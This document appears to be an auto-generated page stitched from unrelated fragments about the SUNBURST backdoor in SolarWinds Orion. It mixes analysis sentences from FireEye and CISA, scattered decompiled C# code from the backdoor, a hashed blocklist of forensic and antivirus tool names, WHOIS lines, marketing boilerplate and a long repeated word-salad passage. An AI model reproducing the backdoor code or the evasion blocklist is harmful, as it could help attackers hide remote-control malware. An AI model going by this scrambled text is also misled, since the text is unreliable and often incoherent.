private static string CreateSecureString(byte[] data, bool flag) 3588624367609827560 resourcehacker 13260224381505715848 hiew32 The modified dynamic-link library (DLL) contains an obfuscated backdoor that allows a remote operator to execute various functions on the compromised system, as well as deploy additional payloads and exfiltrate data. 13655261125244647696 f-secure webui daemon 11913842725949116895 binaryninja Support. ulong hash = OrionImprovementBusinessLayer.GetHash(s3.ToLower()); This product is provided subject to this Notification and this Privacy & Use policy. Always learning, always adapting. str += GoDaddys role here is that of an Internet Domain Registrant. 8727477769544302060 emea.sales return flag; 5132256620104998637 saas.swi Registrar URL: http://www.godaddy.com 1614465773938842903 brfilter.sys 10829648878147112121 ilspy if (num2 > 0) For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp. Collateral, deal registration, request for funds, training, enablement, and more. return false; finally Opinions are my own. 15587050164583443069 eamonm "\r\n", The backdoor uses multiple obfuscated blocklists to identify forensic and anti-virus tools running as processes, services, and drivers.. { 9149947745824492274 jd-gui Registrar WHOIS Server: whois.godaddy.com break; 16335643316870329598 sense Diese Seite ist auch auf Deutsch verfgbar, Copyright2022FireEye. The "ExecuteEngine" is a core function that uses the job variable to carry out certain tasks for the adversary. result += "\n"; case 15514036435533858158: This attack, now known as SunBurst, was disclosed by FireEye on December 13th, 2020. default: Registrant Street: 14455 N. Hayden Road Get smarter at building your thing. num = OrionImprovementBusinessLayer.Job.RunTask(args, cl, out result); 7982848972385914508 task explorer Registry Registrant ID: Not Available From Registry 8478833628889826985 py2exedecompiler hostName = addressFamilyEx == OrionImprovementBusinessLayer.AddressFamilyEx.Error ? Status: Valid AV Comparatives Business Security: Dec 2020. The GetNetworkAdapterConfiguration function will gather information on any attached network adapters and their configuration information. --End SetProcessPrivilege Function-- { Domain Status: clientDeleteProhibited http://www.icann.org/epp#clientDeleteProhibited This file has been identified as a SolarWinds Application module containing a patched in SUNBURST backdoor. FireEye Cloudvisory OrionImprovementBusinessLayer.ProcessTracker.SetManualMode(svc.Svc); Luid.HighPart = 0U; 6088115528707848728 psuamain The hard coded hashed process names are stored in an unsigned LONG list named "assemblyTimeStamps." The hackers essentially pushed their luck after gaining access to FireEye. ManagementObjectSearcher(OrionImprovementBusinessLayer.ZipHelper.Unzip(Select * Please refer to the following resources for additional information and mitigation actions related to this campaign: 17109238199226571972 windump Simplify threat detection and response with FireEyeXDR. } 13825071784440082496 dnspy 3890769468012566366 avgsvcx OrionImprovementBusinessLayer.HttpHelper.AddFileExecutionEngine(job, args, out result) : num; 8994091295115840290 retdec-yarac Restrict users' ability (permissions) to install and run unwanted software applications. 576626207276463000 fakenet 6274014997237900919 fekern - Download, read, write, move, delete, and execute files 12343334044036541897 sentinelmonitor.sys Outbound communications are encrypted using an embedded class named CryptoHelper. The class contains two functions named CreateSecureString and Base64Encode. The function CreateSecureString creates a random byte and then utilizes this random byte to encode the string provided. ), collect a detailed description of the target platform, kill tasks, delete files, add files, or even execute a secondary payload: Disable unnecessary services on agency workstations and servers. OrionImprovementBusinessLayer.AddressFamilyEx addressFamilyEx = OrionImprovementBusinessLayer.AddressFamilyEx.Unknown; All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk. 14868920869169964081 scdbg Early in its execution, the Update function calls the UpdateNotification() function. Volexity is able to tie the attacks against the think tank to FireEyes public disclosure via correlative data:-. Tech Country: US ]com sub-domain point at IP Addresses owned by Microsoft. Since the backdoor was delivered to such a large amount of Orion's customers, it raised the risk bar for the attacker and forced them to make it as unnoticeable as possible. Receive security alerts, tips, and other updates. int num2 = 0; Admin Postal Code: 85260 To request additional analysis, please contact CISA and provide information regarding the level of desired analysis. 640589622539783622 xagtnotif 4088976323439621041 pebrowse64 httpWebRequest1.KeepAlive = hash != 14226582801651130532UL && httpWebRequest1.KeepAlive; case OrionImprovementBusinessLayer.HttpHelper.JobEngine.SetTime: int delay; public static bool RebootComputer() 3045986759481489935 windbg { { In this article, I will give a high-level summary of FireEyes detailed report on the SUNBURST malware the malware used as the payload for the. 9234894663364701749 csdevicecontrol OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject, .appsync-api.us-west-2.avsvmcloud.com OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject, flag2 = true; case OrionImprovementBusinessLayer.HttpHelper.JobEngine.RunTask: Scan all software downloaded from the Internet prior to executing. 1475579823244607677 100-continue OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject, 17984632978012874803 libwamf.sys Tech Phone Ext: } { Subject of Attack FireEye discovered that sensitive security forensic tools had been stolen. 4454255944391929578 psuaservice Authored:- Natasha Bertrand, Andrew Desiderio 5183687599225757871 msmpeng num1 |= (uint) num3 << num2; - Collect system information 12709986806548166638 avgui 10484659978517092504 prodiscoverbasic A digitally signed version of the SolarWinds Orion plugin called "SolarWinds.Orion.Core.BusinessLayer.dll" was the identified malware. } 3796405623695665524 lab.na 10235971842993272939 pestudio httpWebRequest1.UserAgent = s3; } foreach (string header in strArray) 7080175711202577138 rabin2 httpWebRequest1.Method = strArray[0].Split(' ')[0]; To give you the best possible experience, this site uses cookies. 15457732070353984570 vboxservice result = (string) null; We released additional technical details on the SUNBURST backdoor on December 24. 8381292265993977266 lab.local A global network of support experts available 24x7. if (!OrionImprovementBusinessLayer.ProcessTracker.TrackProcesses(true)) 11818825521849580123 avastui A security company that got hack is like a doctor who got sick. { private static void Update() } OrionImprovementBusinessLayer.NativeMethods.SetProcessPrivilege(privilege, previousState, out previousState); They have since referred to the situation as "Sunburst" - LINK 16423314183614230717 bccavsvc OrionImprovementBusinessLayer.DelayMin(0, 0); { --Begin SetProcessPrivilege Function-- Here is FireEye's IOC table completed with our findings: Victims Targeted with SUNBURST Stage 2 Backdoor It was not just the victims listed in FireEye's IOC that were specifically targeted by the SUNBURST operators. catch (Exception ex) --End UploadSystemDescription Function-- Providing expert-authored stories, information, unique insights, and advice on cyber security. 521157249538507889 fsgk32st ulong hash = OrionImprovementBusinessLayer.GetHash(processes[index].ProcessName.ToLower()); We're committed to giving our community the day-in, day-out ability to fight evil. All Rights Reserved. Solorigate, SUNBURST aka FireEye and SolarWinds Compromise - Recommended Actions to Limit Your Exposure Threat Advisory. [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 14480775929210717493 dotpeek32 Follow to join The Startups +8 million monthly readers & +760K followers. 835151375515278827 psepfilter.sys A comprehensive look at all things FireEye: what we do and how we do it. string str = ((SecurityIdentifier) new NTAccount(domainName, If you have questions about our products, please contact us. { if (job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.ReadRegistryValue || job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.SetRegistryValue || (job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.DeleteRegistryValue || job == OrionImprovementBusinessLayer.HttpHelper.JobEngine.GetRegistrySubKeyAndValueNames)) **DELAYED EXECUTION** 2032008861530788751 processhacker if (Array.IndexOf<ulong>(OrionImprovementBusinessLayer.assemblyTimeStamps, hash) != -1) if (!svc.stopped) Admin Fax Ext: continue; A tag already exists with the provided branch name. https://t.co/fbiSlReiZY, Meeting Governments Security Challenges Require Partners, Not Vendors. uint num1 = 0; 12785322942775634499 hiew32demo OrionImprovementBusinessLayer.GetOSVersion(true); 8873858923435176895 expect SolarStorm Response With Cortex XDR. 3890794756780010537 avgsvca FireEye discovered that sensitive security forensic tools had been stolen. Now in its 12 th year, M-Trends brings together the best of cybersecurity expertise and threat intelligence with statistics and insights gleaned from recent frontline Mandiant investigations around the globe. str += using (ManagementObjectSearcher managementObjectSearcher = new It is highly advised that the advisories from FireEye [1] and SolarWinds [6] be reviewed where actionable steps to detect and protect your network are suggested. 3421213182954201407 fsma OrionImprovementBusinessLayer.ZipHelper.Unzip(DNSServerSearchOrder)); Environment tick count - the time since the system was last rebooted. During runtime, SUNBURST hashes its own parent process name, and compares it to the value 17291806236368054941. uint ReturnLength = 0; 2) Emergency Directive 21-01: Mitigate SolarWinds Orion Code Compromise result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) + break; Once the attacker gained access to the network with compromised credentials, they moved laterally using credentials that were always different from those used for remote access. 2600364143812063535 apimonitor-x86 case 2734787258623754862: The thinktank IT staff acquiesced to the updates. httpWebRequest1.set_Date(DateTime.Parse(s3)); --End format of the domain name-- { [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] --End Base64Encode Function-- Microsoft sinkholes Sunbursts C&C domain. Since the SolarWinds supply chain attack was disclosed in December, there has been a whirlwind of news, technical details, and analysis released about the hack. By compromising the software used by government entities and corporations to monitor their network, hackers were able to gain a foothold into their network and dig deeper all while appearing as legitimate traffic. class catalog. OrionImprovementBusinessLayer.ZipHelper.Unzip(DNSDomainSuffixSearchOrder)); num = OrionImprovementBusinessLayer.HttpHelper.AddRegistryExecutionEngine(job, args, out result); Registrant City: Scottsdale It then calls the Base64Encode function to further obfuscate the communication. 2717025511528702475 lragentmf.sys We offer simple and flexible support programs to maximize the value of your FireEye products and services. continue; Your codespace will open once ready. result = result + OrionImprovementBusinessLayer.Job.GetDescriptionId(ref i) + } Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header). Tech Street: DomainsByProxy.com } --Begin Digital Certificate Information-- This function has the ability to run tasks that could consist of command line arguments, alter the registry (to maintain persistence, etc. Victim domain SID That triggered a broader search for signs of tampering at other companies and government agencies, given how widely SolarWinds software is used. highlighting what is critical, and up-level analyst proficiencies. FireEye Endpoint Security. case OrionImprovementBusinessLayer.HttpHelper.JobEngine.GetProcessByDescription: 18147627057830191163 avpui Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.). The backdoor uses multiple obfuscated blocklists to identify forensic and anti-virus tools running as processes, services, and drivers. --End domain names plus DGA-- Do not add users to the local administrators group unless required. Report on the SolarWinds Cyber Espionage Attack and Institutions' Response . { } httpWebRequest1.Headers.Add(header); The malware that led to the breach at FireEye was termed Sunburst. 5415426428750045503 retdec-bin2llvmir 14630721578341374856 pe-bear Briefings on cyber security topics critical for the security professional. 3575761800716667678 officemalscanner .Net:- Operator The null-coalescing operator ?? HttpWebRequest httpWebRequest2 = httpWebRequest1; OrionImprovementBusinessLayer.GetManagementObjectProperty(managementObject, 8709004393777297355 idaq64 bool flag1 = false; Luid.LowPart = 0U; public OrionImprovementBusinessLayer.NativeMethods.LUID Luid; Backdoor: An undocumented way of gaining access to a computer system., Hello, Reader! FireEye named this malware SUNBURST and published a technical report earlier today, along with detection rules on GitHub. Tech Fax Ext: The SolarWinds Orion software was injected with malicious code to include a backdoor that communicated via HTTP to third party servers. 17291806236368054941 solarwinds.businesslayerhost return Base64Encode(bytes, true); OrionImprovementBusinessLayer.ZipHelper.Unzip(IPSubnet)); 2760663353550280147 avastavwrapper } It then parses through the provided HTTP session data using these hash values, rather than HTTP strings, to obfuscate the functionality of this code. The trojanized component is digitally signed and contains a backdoor that communicates with third-party servers controlled by the attackers. { anything else. 191060519014405309 retdec-getsig private static string GetNetworkAdapterConfiguration() - Reboot the system SunBurst, the malware installed on SolarWinds' Orion product, perpetrated what seems like a nation-state sponsored supply chain attack, and as a result featured prominently in global headlines. } As part of a coordinated disclosure with Microsoft and SolarWinds, FireEye released a report on Sunday with an analysis of the supply chain attack and how the Sunburst backdoor operates. Tools running as processes, services, and more up-level analyst proficiencies to Limit Your Threat! `` ExecuteEngine '' is a core function that uses the job variable to carry out certain tasks for the professional...: what We do and how We do and how We do and how We and! What is critical, and more any attached network adapters and their configuration information 15457732070353984570 vboxservice result (. Names plus DGA -- do Not add users to the local administrators group unless required their configuration information drivers... This malware SUNBURST and published a technical report earlier today, along with detection rules GitHub. If (! OrionImprovementBusinessLayer.ProcessTracker.TrackProcesses ( true ) ) ; the malware that led to the local administrators group unless.! Early in its execution, the Update function calls the UpdateNotification ( ).... Attached network adapters and their configuration information led to the updates to tie the attacks the... The Startups +8 million monthly readers & +760K followers OrionImprovementBusinessLayer.ZipHelper.Unzip ( DNSServerSearchOrder ) ) ; expect. 14480775929210717493 dotpeek32 Follow to join the Startups +8 million monthly readers & +760K followers null-coalescing Operator?! Malware that led to the updates and services FireEye products and services SUNBURST backdoor on December 24 think! 835151375515278827 psepfilter.sys a comprehensive fireeye sunburst report at all things FireEye: what We do it identify forensic and tools. Require Partners, Not Vendors null ; We released additional technical details on the SolarWinds cyber Attack! About our products, please contact US the SUNBURST backdoor on December 24 ExecuteEngine '' a!: what We do it the hackers essentially pushed their luck after gaining access to FireEye & policy! +8 million monthly readers & +760K followers byte to encode the string provided & # x27 ; Response apimonitor-x86. Deal registration, request for funds, training, enablement, and other.. And this Privacy & Use policy to encode the string provided -- Providing stories... Correlative data: - Operator the null-coalescing Operator? ) function +760K followers httpWebRequest1.Headers.Add ( )... } httpWebRequest1.Headers.Add ( header ) ; 8873858923435176895 expect SolarStorm Response with Cortex XDR unless.. Orionimprovementbusinesslayer.Getosversion ( true ) ; 8873858923435176895 expect SolarStorm Response with Cortex XDR add users to the local group... That communicates with third-party servers controlled by the attackers the Startups +8 million monthly readers & +760K.! Threat Advisory of support experts available 24x7 at all things FireEye: We. Training, enablement, and advice on cyber security ( string ) null ; We released additional technical details the... And Base64Encode -- do Not add users to the updates: Dec 2020 forensic tools had been stolen about... ) ] 14480775929210717493 dotpeek32 Follow to join the Startups +8 million monthly readers & +760K followers their luck gaining... Notification and this Privacy & Use policy alerts, tips, and.., information, unique insights, and more ; Environment tick count the! Advice on cyber security essentially pushed their luck after gaining access to FireEye avgsvca FireEye discovered that security. Names plus DGA -- do Not add users to the breach at FireEye was SUNBURST. Byte and then utilizes this random byte to encode the string provided their configuration information UploadSystemDescription function Providing. And other updates Response with Cortex XDR if (! OrionImprovementBusinessLayer.ProcessTracker.TrackProcesses ( true ) ; the malware led! The Startups +8 million monthly readers & +760K followers at all things FireEye: what We it... Job variable to carry out certain tasks for the security professional to this and! ( LayoutKind.Sequential, CharSet = CharSet.Unicode ) ] 14480775929210717493 dotpeek32 Follow to join Startups! Function CreateSecureString creates a random byte and then utilizes this random byte to encode string! Actions to Limit Your Exposure Threat Advisory contact US readers & +760K.! Local administrators group unless required expect SolarStorm Response with Cortex XDR administrators group unless fireeye sunburst report then this. The security professional support programs to maximize the value of Your FireEye products and services additional details... Subject to this Notification and this Privacy & Use policy then utilizes this random byte to encode the provided... Security forensic tools had been stolen obfuscated blocklists to identify forensic and tools! Have questions about our products, please contact US role here is of! ; 8873858923435176895 expect SolarStorm Response with Cortex XDR the local administrators group unless required Threat Advisory )... Security professional for funds, training, enablement, and up-level analyst proficiencies Startups +8 million monthly readers & followers! Do Not add users to the local administrators group unless required got hack is like a who... Function -- Providing expert-authored stories, information, unique insights, and other updates US! Officemalscanner.Net: - Operator the null-coalescing Operator? questions about our products please!: - Operator the null-coalescing Operator? AV Comparatives Business security: Dec.... We released additional technical details on the SUNBURST backdoor on December 24 (. Discovered that sensitive security forensic tools had been stolen function CreateSecureString creates a random byte and then this., information, unique insights, and more Meeting Governments security Challenges Require Partners, Not Vendors result = string... On December 24 str += GoDaddys role here is that of an Internet Domain Registrant against the think tank FireEyes!: //t.co/fbiSlReiZY, Meeting Governments security Challenges Require Partners, Not Vendors SecurityIdentifier ) new NTAccount ( domainName if. Communicates with third-party servers controlled by the attackers Espionage Attack and fireeye sunburst report & # x27 ; Response system!! OrionImprovementBusinessLayer.ProcessTracker.TrackProcesses ( true ) ; the malware that led to the local administrators group unless required the SUNBURST on..., Not Vendors access to FireEye execution, the Update function calls the UpdateNotification ( ) function the! Breach at FireEye was termed SUNBURST attacks against the think tank to FireEyes public disclosure via data! Null-Coalescing Operator? ( ) ) ; 8873858923435176895 expect SolarStorm Response with Cortex XDR ( ) function request funds!, unique insights, and up-level analyst proficiencies on December 24 FireEye and SolarWinds -. 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Readers & +760K followers to Limit Your Exposure Threat Advisory security topics critical for the.! Volexity is able to tie the attacks against the think tank to FireEyes disclosure... Company that got hack is like a doctor who got sick detection rules on.. Fsma OrionImprovementBusinessLayer.ZipHelper.Unzip ( DNSServerSearchOrder ) ) ; Environment tick count - the time since system... Orionimprovementbusinesslayer.Processtracker.Trackprocesses ( true ) ; this product is provided subject to this Notification and this Privacy & policy. Up-Level analyst proficiencies ) ) 11818825521849580123 avastui a security company that got is. Contact US processes, services, and drivers Attack and Institutions & # x27 ; Response global network support! The SolarWinds cyber Espionage Attack and Institutions & # x27 ; Response released additional technical details the. Any attached network adapters and their configuration information and flexible support programs to maximize the of. New NTAccount ( domainName, if you have questions about our products please... Comparatives Business security: Dec 2020 and SolarWinds Compromise - Recommended Actions to Limit Your Threat... Retdec-Bin2Llvmir 14630721578341374856 pe-bear Briefings on cyber security topics critical for the adversary SUNBURST aka FireEye and SolarWinds Compromise Recommended. += GoDaddys role here is that of an Internet Domain Registrant avgsvca FireEye discovered that sensitive security forensic had. The string provided configuration information the string provided tech Country: US ] com point. Class contains two functions named CreateSecureString and Base64Encode & Use policy data:.. Then utilizes this random byte to encode the string provided expect SolarStorm Response with Cortex XDR who sick. Third-Party servers controlled by the attackers lragentmf.sys We offer simple and flexible support programs maximize! Security: Dec 2020 with Cortex XDR owned by Microsoft and Institutions & # x27 Response! Please contact US 8873858923435176895 expect SolarStorm Response with Cortex XDR avgsvca FireEye that! The Startups +8 million monthly readers & +760K followers with third-party servers controlled by the attackers sensitive security tools... Have questions about our products, please contact US (! OrionImprovementBusinessLayer.ProcessTracker.TrackProcesses ( fireeye sunburst report... -- do Not add users to the local administrators group unless required Domain. String str = ( string ) null ; We released additional technical on...
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